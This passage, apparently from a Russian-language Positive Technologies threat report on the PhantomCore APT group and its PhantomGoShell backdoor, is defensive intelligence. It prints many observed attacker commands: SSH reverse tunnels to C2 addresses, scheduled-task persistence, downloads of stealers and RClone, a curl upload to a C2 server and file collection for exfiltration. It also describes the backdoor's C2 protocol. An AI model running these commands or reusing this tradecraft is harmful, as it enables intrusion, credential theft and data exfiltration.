ssh -o StrictHostKeyChecking=no -o ServerAliveInterval=60 -o ServerAliveCountMax=15 -f -N -R 37124 -p 80 vtvvuaweuvefafoewfau9124124615@195.133.32.213

ssh -o StrictHostKeyChecking=no -o ServerAliveInterval=60 -o ServerAliveCountMax=15 -f -N -R 31238 -p 443 vtvvuaweuvefafoewfau9124124615@195.133.32.213

ssh -o StrictHostKeyChecking=no -o ServerAliveInterval=60 -o ServerAliveCountMax=15 -f -N -R 37581 -p 443 cfyvg84df17842o@185.130.251.227


Создание задачи в планировщике Windows

schtasks /create /sc DAILY /tn SSH /tr \"C:\Windows\system32\OpenSSH\ssh.exe -o StrictHostKeyChecking=no -o ServerAliveInterval=60 -o ServerAliveCountMax=15 -f -N -R 52213 -p 443 cfyvg84df17842o@185.130.251.227\" /f /st 09:00

schtasks /create /sc DAILY /tn Update /tr \"'C:\Windows\system32\OpenSSH\ssh.exe' -o StrictHostKeyChecking=no -o ServerAliveInterval=60 -o ServerAliveCountMax=15 -f -N -R 52127 -p 443 cfyvg84df17842o@185.130.251.227\" /st 09:00
  • С использованием PhantomRAT или PhantomRShell загрузка экземпляра RSocx со взломанного легитимного сайта, распаковка и скрытый запуск, установка сетевого соединения с сетевым портом 443 (HTTPS) или 8080 (HTTP) C2-сервера по протоколу SOCKS5:

Загрузка RSocx

up https://<redacted>/hosts.zip C:\ProgramData\hosts.zip


Распаковка RSocx

powershell expand-archive -force -path "C:\\ProgramData\\hosts.zip" -destinationpath "C:\\ProgramData\\"


Запуск RSocx

C:\ProgramData\hosts.exe -r 193.187.174.251:443

C:\ProgramData\hosts.exe -r 195.133.32.213:8080

start /B "" "C:\\ProgramData\\hosts.exe -r 193.187.174.251:443"

Start-Process -FilePath "C:\ProgramData\hosts.exe" -ArgumentList "-r 193.187.174.251:443" -NoNewWindow

Start-Process -FilePath \"C:\ProgramData\hosts.exe\" -ArgumentList \"-r 193.187.174.251:443\" -NoNewWindow
  • С использованием PhantomRAT или PhantomRShell загрузка экземпляра PhantomTaskShell со взломанного сайта, распаковка и запуск в зараженной системе:

Загрузка PhantomTaskShell

up https://<redacted>/update.zip C:\ProgramData\update.zip


Распаковка PhantomTaskShell

expand-archive -force -path C:\ProgramData\update.zip -destinationpath C:\ProgramData\


Запуск PhantomTaskShell

powershell C:\ProgramData\MicrosoftAppStore\update.ps1
powershell C:\ProgramData\YandexCloud\update.ps1


3. Получение учетных данных (Credential Access)

Используемые инструменты:

  • XenArmor All-In-One Password Recovery Pro
  • PhantomStealer

Используемая инфраструктура:

188.127.254.234


Процедуры:

  • С использованием PhantomTaskShell, получающего команды от панели управления Phantom, загрузка утилиты восстановления паролей XenArmor All-In-One Password Recovery Pro с payload-хаба, распаковка и запуск в зараженной системе с опцией записи обнаруженных и восстановленных параметров аутентификации в HTML-файл, удаление утилиты из системы:

Загрузка XenArmor All-In-One Password Recovery Pro

iwr -Uri "http://188.127.254.234:80/one.zip" -OutFile "C:\ProgramData\one.zip"


Распаковка утилиты

expand-archive -force -path C:\ProgramData\one.zip -destinationpath C:\ProgramData


Запуск утилиты с записью результатов в HTML-файл

C:\ProgramData\XenAllPasswordPro.exe -a C:\ProgramData\<redacted>.html


Удаление утилиты

del C:\ProgramData\one.zip
del C:\ProgramData\XenAllPasswordPro.exe
  • С использованием PhantomTaskShell, получающего команды от панели управления Phantom, загрузка стилера PhantomStealer с payload-хаба, распаковка и запуск в зараженной системе с опцией копирования параметров аутентификации, сохраненных в известных браузерах, и удаление стилера из системы:

Загрузка PhantomStealer

iwr -Uri "http://188.127.254.234:80/browser.zip" -OutFile "C:\ProgramData\browser.zip"


Распаковка PhantomStealer

expand-archive -force -path C:\ProgramData\browser.zip -destinationpath C:\ProgramData\


Запуск PhantomStealer

C:\ProgramData\browser.exe chrome -c
cd C:\ProgramData; .\browser.exe yandex -c


Удаление PhantomStealer

del "C:\ProgramData\browser.exe"


4. Обнаружение (Discovery), перемещение внутри периметра (Lateral Movement)

Используемые инструменты:

  • PhantomTaskShell

Используемая инфраструктура:

185.130.249.224


Процедуры (выполняются с использованием бэкдора PhantomTaskShell, получающего команды от панели управления Phantom):

  • Получение информации о локальных пользователях:
whoami
quser
  • Получение информации о пользователях и группах Active Directory:
net user
net user /domain
net user <redacted> /domain
net group /domain
net group \"Domain Admins\" /domain
<redacted>, <redacted> | ForEach-Object { net user $_ /domain }
  • Получение информации об операционной и файловой системах:
systeminfo
wmic logicaldisk get caption
  • Получение информации о системных процессах и службах:
get-service
tasklist
  • Изучение конфигураций Windows Defender:
get-mppreference
  • Листинг директорий:
dir S:\
dir C:\
dir C:\users\<redacted>
dir C:\users\<redacted>\documents
dir C:\users\<redacted>\downloads
dir C:\users\<redacted>\desktop
dir C:\Users\<redacted>\AppData\Roaming
dir C:\ProgramData
dir \"C:\Program Files (x86)\"
pwd
  • Изучение сетевого окружения и параметров маршрутизации:
arp -a
ipconfig
route print
nestat -ano
nslookup 127.0.0.1
nslookup <redacted>.ru
ping 10.64.70.172 -n 1
ping <redacted> -n 2
  • Отправка информации о зараженной системе на C2-сервер:
C:\Windows\System32\curl.exe -v -F "file=@C:\ProgramData\user_report.txt" -F "destinationPath=./user_report.txt" http://185.130.249.224:80/upload


5. Сбор (Collection) и эксфильтрация данных (Exfiltration)

Используемые инструменты:

  • RClone
  • Хранилище Mega.nz

Используемая инфраструктура:

195.133.32.213


Процедуры:

  • С использованием PhantomTaskShell, получающего команды от панели управления Phantom, запуск утилиты certutil.exe в составе служб сертификатов Windows c параметрами -urlcache и -f и загрузка экземпляра RClone и его конфигурационного файла с 8000 сетевого порта C2-сервера:
certutil.exe -urlcache -f "http://195.133.32.213:8000/srvhost.exe" "C:\ProgramData\srvhost.exe"

certutil.exe -urlcache -f "http://195.133.32.213:8000/wusa.conf" "C:\ProgramData\wusa.conf"
  • С использованием PhantomTaskShell, получающего команды от панели управления Phantom, загрузка с 80 сетевого порта C2-сервера и распаковка экземпляра неизвестного PowerShell-скрипта (получить в рамках исследования не удалось):
iwr -Uri "http://188.127.254.234:80/load.zip" -OutFile "C:\\ProgramData\\load.zip

expand-archive -force -path C:\ProgramData\load.zip -destinationpath C:\ProgramData\
  • С использованием PhantomTaskShell, получающего команды от панели управления Phantom, запуск PowerShell-инструмента с отключенной политикой выполнения скриптов и опциями -r (рекурсивный поиск) и -e (список расширений файлов). Сбор документов Microsoft Office и текстовых файлов, графических изображений, LNK-файлов, а также файлов конфигурации RDP- и OpenVPN-подключений:
powershell -ex bypass C:\ProgramData\load.ps1 -Path C:\Users\ -r -e "pdf,xls,xlsx,doc,docx,txt,jpg,ovpn,rdp,lnk"
  • Удаление инструментов:
del "C:\ProgramData\wusa.conf"
del "C:\ProgramData\srvhost.exe"
del "C:\ProgramData\load.ps1"
del "C:\ProgramData\load.zip"


Директории, используемые для хранения инструментов:

C:\ProgramData\
C:\ProgramData\YandexCloud
C:\ProgramData\MicrosoftAppStore
C:\Windows\system32\OpenSSH


Названия задач в планировщике задач Windows:

Yandex Update
Microsoft Update
Update
SSH
DNS


Мимикрия под легитимные файлы в названиях инструментов:

ssh.exe
hosts.exe
inetpub.exe
srvhost.exe


Имена вредоносных файлов:
 

dnsclient.zip
dnsclient.bat
inetpub.zip
inetpub.exe
hosts.zip
hosts.exe
update.zip
update.ps1
remote.zip
remote.exe
remote.dll
load.zip
load.ps1
one.zip
one.exe
xenallpassword.exe
browser.zip
browser.exe
srvhost.exe
wusa.conf

Ландшафт кибератак

Согласно данным киберразведки, на момент публикации исследования в рамках кампании кибершпионажа группировке PhantomCore удалось получить доступ к 181 зараженному хосту. Первое заражение датируется 12 мая 2025 года, наибольшей интенсивности кибератаки достигли в июне, при этом 56% всех заражений пришлось на 30 июня. Средняя продолжительность пребывания группировки в скомпрометированной сети составляет 24 дня, максимальная — 78 дней. 49 хостов остаются под контролем группировки до настоящего времени.

TI-департаменту PT ESC удалось идентифицировать и уведомить о киберинциденте до наступления недопустимых событий жертв следующих категорий:

  • органы государственной власти и управления;
  • предприятия оборонно-промышленного комплекса;
  • предприятия судостроительной отрасли;
  • научно-исследовательские институты;
  • предприятия химической промышленности;
  • предприятия горнодобывающей промышленности;
  • предприятия обрабатывающей промышленности;
  • IT-компании.

Все идентифицированные жертвы — российские организации.

Признаки раскола группировки

В середине апреля текущего года, за две недели до начала описываемой кампании кибершпионажа, группа киберразведки обнаружила ранее не встречавшийся реверс-шелл, имевший сходство с иными инструментами из арсенала APT-группировки PhantomCore 2024 года.

Новый бэкдор, получивший название PhantomGoShell, написан на Go, выполняет команды на зараженном Windows-хосте через интерпретатор командной строки, на уровне логики и программного кода имеет сходства с PhantomRAT и PhantomRShell (более детальное исследование бэкдора — в следующем разделе).

Однако ряд признаков в совокупности указывали на то, что за использованием обнаруженного бэкдора стоят низкоквалифицированные хакеры, не входящие в основное звено группировки PhantomCore, но получившие сырой тестовый инструмент из ее арсенала.

1. Публичные песочницы, ошибки, нехарактерные закрепление и импакт

Тестирование PhantomGoShell проводилось его операторами с использованием бесплатного аккаунта на сервисе публичных песочниц, что позволило группе киберразведки в режиме реального времени наблюдать за пуско-наладочными работами, вводимыми командами и результатами их выполнения.

На первом этапе тестирования бэкдора операторы PhantomGoShell испытывали проблемы с конфигурацией C2-сервера.

Ошибки ввода команд и доступности C2-сервера
Ошибки ввода команд и доступности C2-сервера

После устранения проблем с конфигурацией C2-сервера последовало выполнение на зараженной виртуальной машине команд запуска калькулятора, листинга запущенных процессов и директорий файловой системы.

Проверка возможностей PhantomGoShell

Далее операторы PhantomGoShell протестировали техники закрепления на зараженном хосте путем модификации ключей реестра Windows и скрытой загрузки, установки и запуска опенсорсных утилит удаленного администрирования Remote Desktop Connection и AnyDesk.

Проверка техник закрепления

Убедившись в работоспособности указанных техник закрепления, тестировщики PhantomGoShell проверили возможность открытия в браузере большого количества вкладок с аудио- и видеоконтентом и оценили загрузку оперативной памяти в менеджере задач и процессов Windows.

Проверка возможностей PhantomGoShell

Тестирование PhantomGoShell проводилось его операторами исключительно в вечернее и ночное время в среднем с 20:00 до 02:00 (по московскому времени), сопровождалось неоднократным перезапуском виртуальных машин открытой песочницы с новыми экземплярами бэкдора.

2. Сетевая инфраструктура: нехарактерные URL и бэкэнд

Все обнаруженные экземпляры PhantomGoShell использовали расположенный в России C2-сервер Python WSGI «Waitress».

Сетевой отпечаток C2-сервера
Сетевой отпечаток C2-сервера

Обнаруженные URL-маршруты:    

  • /<prefix>/connect — установка соединения
  • /<prefix>/command — получение команды для выполнения на зараженном хосте
  • /<prefix>/send_output — отправка результатов выполнения команды

Параметр <prefix> зашит в код обнаруженных экземпляров.

Обнаруженный сервер:

193.124.117.89


3. Исследование PhantomGoShell: иные процедуры, урезанная функциональность

PhantomGoShell — написанный на Go бэкдор, реализованный в виде исполняемого PE-файла.

  • Закрепление (Persistence)

При попадании в атакуемую систему PhantomGoShell закрепляется путем саморепликации во временной директории пользователя:

C:\Users\<user>\AppData\Local\Temp


и записи пути до реплицированного исполняемого файла в ключ реестра Windows, мимикрируя под мессенджер Discord:

HKCU\CurrentVersion\Run\Discord
  • Обнаружение (Discovery), организация управления (Command and Control)

Через вызов WinAPI-функций PhantomGoShell получает имя зараженного хоста (hostname), генерирует произвольный 16-байтовый идентификатор сессии (ID) и сеансовый ключ шифрования (key_encryption), извлекает зашитый в код префикс (prefix).

Ряд экземпляров PhantomGoShell не использовали вызов WinAPI-функций для получения имени зараженного хоста и использовали зашитое в код значение «DESKTOP-DEV»: это подтверждает, что новый инструмент находится на этапе тестирования.

Указанные параметры сериализуются в JSON и отправляются на C2:

POST /<prefix>/connect


Параметр <prefix> зашит в код обнаруженных экземпляров:
 

120t9iITNhRIKaVyv54R1DQXRQJiTjHG
JSON с данными о зараженной системе
JSON с данными о зараженной системе
Функция формирования URL
Функция формирования URL
Передача JSON по маршруту /connect
Передача JSON по маршруту /connect

После установки соединения информация о командах и результатах их выполнения передается между C2-сервером и зараженным хостом в зашифрованном виде. В качестве ключа шифрования используется хеш-сумма SHA-256 от 16-байтового сеансового ключа шифрования (key_encryption), сгенерированного при установлении соединения.

AES256_CBC_Decrypt(SHA256(key_encryption), command)

AES256_CBC_Encrypt(SHA256(key_encryption), command_result)


PhantomGoShell циклично запрашивает информацию о командах, которые необходимо выполнить на зараженном хосте, отправляя каждые 2 секунды запросы, содержащие HTTP-заголовок X-Machine-Id с ранее сгенерированным 16-байтовым идентификатором сессии (ID).
 

GET /<prefix>/command
X-Machine-Id: ID
Передача GET-запросов по маршруту /command
Передача GET-запросов по маршруту /command

В ответном JSON в поле «cmd» C2-сервер возвращает зашифрованную и закодированную в base64 команду, которую необходимо выполнить на зараженном хосте.

JSON с зашифрованной командой

Полученная команда подвергается декодированию из base64 и расшифровке.

Функция расшифровки команд сервера
Функция расшифровки команд сервера

Расшифрованная команда выполняется на зараженном хосте через вызов в интерпретаторе командной строки:
 

cmd /c <расшифрованная команда>
Функция запуска команды
Функция запуска команды

Результаты выполнения команды шифруются, сериализуются в JSON-объект с ключом output и отправляются с 16-байтовым идентификатором сессии в HTTP-заголовке X-Machine-Id.
 

POST /<prefix>/send_output
X-Machine-Id: ID
JSON с результатами выполнения команды
JSON с результатами выполнения команды
Зашифрованные результаты выполнения команды
Зашифрованные результаты выполнения команды

Ключевые особенности:

  • исполняемый файл, написанный на Go;
  • единственная функция — выполнение команд в интерпретаторе командной строки;
  • hostname — единственная собираемая информация о зараженном хосте;
  • наличие техники закрепления;
  • отсутствие техник предотвращения обнаружения;
  • 16-байтовый произвольный ключ шифрования;
  • шифрование передаваемой информации (AES-256 CBC);
  • 16-байтовый произвольный идентификатор сессии;
  • передача идентификатора сессии в HTTP-заголовке;
  • зашитая в код константа — prefix;
  • использование префикса в URL;
  • зашитая в код константа — имя зараженного хоста «DESKTOP-DEV».

4. Вывод

Несмотря на частичное сходство PhantomGoShell с бэкдорами PhantomRShell и PhantomRAT, эксперты TI-департамента PT ESC полагают, что за развитием и использованием указанных инструментов, явно имеющих общую техническую базу, стоят разные хакеры.

Отличительными особенностями экземпляров PhantomGoShell являются:

  • более простая функциональность;
  • иные директории для закрепления;
  • иные ключи реестра Windows для закрепления;
  • иной формат JSON-структур;
  • иной формат URL-маршрутов;
  • артефакты в коде, указывающие на разработку и тестирование бэкдора;
  • использование HTTP-заголовков для идентификации зараженных хостов;
  • шифрование передаваемой информации.

На уровне сетевой инфраструктуры операторы PhantomGoShell выделяются ее малым размером (1 сервер) и использованием иного программного обеспечения — сервера Python WSGI «Waitress», не замеченного в использовании на C2-серверах PhantomRShell и PhantomRAT.

Поведенческие паттерны операторов PhantomGoShell, временные показатели и общая активность также отличают их от операторов PhantomRShell и PhantomRAT:

  • Тестирование бэкдора в публичных песочницах с бесплатных аккаунтов в ночное время суток.
  • Проблемы конфигурации единственного C2-сервера, устранение которых заняло несколько дней.
  • Короткий промежуток времени между обнаружением PhantomGoShell и первых кибератак с использованием бэкдоров PhantomRShell и PhantomRAT, явно недостаточный для рефакторинга и эволюции инструментов.
  • Отсутствие фактов использования PhantomGoShell в реальных атаках либо в составе обнаруженного набора инструментов группировки.

Более того, группе киберразведки удалось обнаружить, что за необычной активностью с использованием PhantomGoShell стоят русскоговорящие участники игровых Discord-сообществ, ряд которых достоверно являются несовершеннолетними гражданами России с незначительным опытом в проведении кибератак, получившими исходники бэкдора и консультации по его эксплуатации от участника группы с более ярким киберкриминальным бэкграундом.

Полагаем, что обнаруженная группа является ответвлением группировки, не входящим в основное звено, состоит из низкоквалифицированных специалистов, подбираемых в игровом комьюнити и Discord-сообществах, и организована в качестве собственного киберкриминального стартапа одним из членов основного костяка PhantomCore, имеющим доступ к исходникам кастомных инструментов.

Заключение

Активность APT-группировки PhantomCore отслеживается с начала 2024 года, направлена исключительно на критически значимую инфраструктуру России, мотивация — кибершпионаж. Кибератаки группировки отличаются значительными масштабами при сохранении высокой скрытности: хакеры долго находятся в скомпрометированной сети, оставаясь незамеченными, что достигается путем регулярного обновления и эволюции наступательного арсенала собственной разработки.

Эффективная защита от подобных устойчивых сложных киберугроз может быть обеспечена исключительно путем использования комплексных решений, сочетающих в себе ранее накопленную детектирующую экспертизу и актуальные данные киберразведки.

Экспертный центр безопасности Positive Technologies прогнозирует сохранение высокого уровня опасности киберугроз для российских организаций, исходящих от APT-группировки PhantomCore. TI-департамент PT ESC продолжает отслеживать активность группировки, своевременно предупреждать жертв о готовящихся кибератаках и поставлять уникальные данные киберразведки пользователям продуктов Positive Technologies.

Рекомендации по защите

В целях защиты от кибератак APT-группировки PhantomCore рекомендуется:

  • Использовать лицензированные средства антивирусной защиты с актуальными и регулярно обновляемыми базами сигнатур.
  • Проверять с помощью средств антивирусной защиты вложения в электронных письмах, поступающих от недоверенных и подозрительных отправителей. Насторожиться стоит, если отсутствует история переписки с отправителем, а также если отправитель не является контрагентом, использует электронный адрес с нестандартным доменом, акцентирует внимание на срочности изучения документов, особенно подчеркивает названия государственных учреждений, регулирующих органов, надзорных ведомств.
  • Не открывать защищенные паролями архивы и вложенные файлы без их предварительной проверки средствами антивирусной защиты.
  • Отключить сокрытие расширений файлов, проверять реальные расширения файлов: не открывать файлы, значок которых не соответствует реальному расширению файла; не открывать файлы, содержащие в конце названия несколько расширений, разделенных точкой.
  • Регулярно проводить обучение и тренинги сотрудников по безопасному использованию электронной почты и противодействию методам социальной инженерии.

Индикаторы компрометации

Файловые индикаторы

Сетевые индикаторы

Матрица MITRE ATT&CK

Вердикты продуктов Positive Technologies

PT Sandbox

YARA-правила

Поведенческие вердикты

PT NAD и PT NGFW